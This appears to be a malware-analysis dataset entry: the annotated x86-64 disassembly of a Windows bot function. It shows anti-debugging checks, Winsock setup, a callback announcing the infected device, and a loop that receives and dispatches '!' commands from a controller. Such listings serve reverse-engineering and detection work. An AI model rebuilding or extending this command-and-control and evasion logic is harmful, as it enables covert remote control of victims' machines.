Function at 0x402c1d
Capabilities:
Initialize winsock library

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x1270
call fcn.004041c0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1210], ecx
mov qword [rbp + 0x1218], rdx
call sym.__main
mov dword [rbp + 0x11ec], 0
jmp 0x402c5a
add dword [rbp + 0x11ec], 1
cmp dword [rbp + 0x11ec], 9
jle 0x402c53
mov dword [rbp + 0x11e8], 0
jmp 0x402c76
add dword [rbp + 0x11e8], 1
cmp dword [rbp + 0x11e8], 0x5f5e0ff
jle 0x402c6f
call sym.IsDebuggerPresent
test eax, eax
je 0x402c95
mov eax, 1
jmp 0x40307c
call sym.CustomIsDebuggerPresentCheck
call sym.getIPAddress
mov rax, rbp
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rbp + 0x11b8], eax
call sym.initConnection
test eax, eax
jne 0x403076
call sym.getArch
mov rbx, rax
call sym.getPortz
mov rsi, rax
call sym.getIP
mov rdx, rax
mov eax, dword [0x00410040]
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov r8, rdx
lea rdx, str.e_1_94mDevice_Connected:__s__Port:__s__Arch:__se_0m
mov ecx, eax
call sym.sockprintf
mov dword [rbp + 0x11b4], 0
mov dword [rbp + 0x11b0], 0
jmp 0x403044
mov eax, dword [rbp + 0x11b4]
cdqe
mov byte [rbp + rax + 0x1a0], 0
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.trim
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x11e0], rax
lea rax, [rbp + 0x1a0]
lea rdx, [0x0040c186]
mov rcx, rax
call sym.strstr
mov rdx, rax
lea rax, [rbp + 0x1a0]
cmp rdx, rax
jne 0x402d72
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x11e0]
movzx eax, byte [rax]
cmp al, 0x21
jne 0x403044
mov rax, qword [rbp + 0x11e0]
add rax, 1
mov qword [rbp + 0x11d8], rax
jmp 0x402da0
add qword [rbp + 0x11d8], 1
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
cmp al, 0x20
je 0x402dbc
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
test al, al
jne 0x402d98
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
test al, al
jne 0x402dcf
jmp 0x403044
mov rax, qword [rbp + 0x11d8]
mov byte [rax], 0
mov rax, qword [rbp + 0x11e0]
add rax, 1
mov qword [rbp + 0x11d8], rax
mov rax, qword [rbp + 0x11d8]
mov rcx, rax
call sym.strlen
add rax, 2
add qword [rbp + 0x11e0], rax
jmp 0x402e27
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11e0]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11e0]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xa
je 0x402e07
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11e0]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xd
je 0x402e07
mov rax, qword [rbp + 0x11e0]
mov qword [rbp + 0x11a8], rax
jmp 0x402e87
add qword [rbp + 0x11e0], 1
mov rax, qword [rbp + 0x11e0]
movzx eax, byte [rax]
cmp al, 0x20
je 0x402ea3
mov rax, qword [rbp + 0x11e0]
movzx eax, byte [rax]
test al, al
jne 0x402e7f
mov rax, qword [rbp + 0x11e0]
mov byte [rax], 0
add qword [rbp + 0x11e0], 1
mov rax, qword [rbp + 0x11a8]
mov qword [rbp + 0x11d0], rax
jmp 0x402ef0
mov rax, qword [rbp + 0x11d0]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_toupper]
call rax
mov edx, eax
mov rax, qword [rbp + 0x11d0]
mov byte [rax], dl
add qword [rbp + 0x11d0], 1
mov rax, qword [rbp + 0x11d0]
movzx eax, byte [rax]
test al, al
jne 0x402ec5
mov dword [rbp + 0x11cc], 1
mov rax, qword [rbp + 0x11e0]
lea rdx, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rcx, rax
call sym.strtok
mov qword [rbp + 0x11c0], rax
mov rax, qword [rbp + 0x11a8]
mov qword [rbp - 0x50], rax
jmp 0x402fdc
mov rax, qword [rbp + 0x11c0]
movzx eax, byte [rax]
cmp al, 0xa
je 0x402fc1
mov rax, qword [rbp + 0x11c0]
mov rcx, rax
call sym.strlen
add rax, 1
mov rcx, rax
call sym.malloc
mov rdx, rax
mov eax, dword [rbp + 0x11cc]
cdqe
mov qword [rbp + rax*8 - 0x50], rdx
mov rax, qword [rbp + 0x11c0]
mov rcx, rax
call sym.strlen
lea rdx, [rax + 1]
mov eax, dword [rbp + 0x11cc]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x11cc]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rdx, qword [rbp + 0x11c0]
mov rcx, rax
call sym.strcpy
add dword [rbp + 0x11cc], 1
lea rax, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x11c0], rax
cmp qword [rbp + 0x11c0], 0
jne 0x402f35
lea rdx, [rbp - 0x50]
mov eax, dword [rbp + 0x11cc]
mov ecx, eax
call sym.processCmd
cmp dword [rbp + 0x11cc], 1
jle 0x403044
mov dword [rbp + 0x11bc], 1
mov dword [rbp + 0x11bc], 1
jmp 0x403036
mov eax, dword [rbp + 0x11bc]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rcx, rax
call sym.free
add dword [rbp + 0x11bc], 1
mov eax, dword [rbp + 0x11bc]
cmp eax, dword [rbp + 0x11cc]
jl 0x40301a
mov eax, dword [0x00410040]
lea rdx, [rbp + 0x1a0]
mov r8d, 0x1000
mov ecx, eax
call sym.recvLine
mov dword [rbp + 0x11b4], eax
cmp dword [rbp + 0x11b4], 0xffffffff
jne 0x402d16
jmp 0x402cb9
nop
jmp 0x402cb9
add rsp, 0x1270
pop rbx
pop rsi
pop rbp
ret